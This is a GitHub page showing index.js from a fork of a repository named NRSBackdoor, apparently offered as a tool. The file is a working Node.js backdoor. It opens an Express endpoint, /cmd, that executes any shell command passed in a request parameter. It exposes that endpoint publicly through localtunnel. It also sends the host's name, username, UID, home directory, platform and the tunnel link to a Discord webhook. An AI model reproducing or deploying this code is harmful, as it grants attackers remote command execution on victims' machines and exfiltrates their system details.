forked from I2rys/nrsbackdoor
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathindex.js
More file actions
44 lines (36 loc) · 1.24 KB
/
index.js
File metadata and controls
44 lines (36 loc) · 1.24 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
//Dependencies
const Express_Param = require("express-param")
const LocalTunnel = require("localtunnel")
const Simple_Exec = require("simple-exec")
const Discord = require("discord.js")
const Express = require("express")
const Os = require("os")
//Variables
const Webhook = new Discord.WebhookClient("Webhook ID", "Webhook token")
const Port = process.env.PORT || Math.floor(Math.random() * 9999)
const Web = Express()
///Configurations
//Express
Web.use(Express_Param())
//Function
async function LocalTunnel_Establisher(){
const Tunnel = await LocalTunnel(Port)
Webhook.send("```" + `OS Name: ${Os.hostname()}\nOS Username: ${Os.userInfo().username}\nOS UID: ${Os.userInfo().uid}\nOs Home Directory: ${Os.userInfo().homedir}\nOS Platform: ${Os.platform()}\nLink: ${Tunnel.url}` + "```")
}
//Main
Web.use("", function(req, res){
if(req.path == "/cmd"){
const cte = req.fetchParameter(["exec"])
const cte_result = Simple_Exec.executeSync(cte.exec)
if(cte_result.error){
res.send(cte_result.error)
}else{
res.send(cte_result.output)
}
}else{ return }
})
//Listener
Web.listen(Port, function(){
console.log(`NRSBackdoor is running in port ${Port}`)
LocalTunnel_Establisher()
})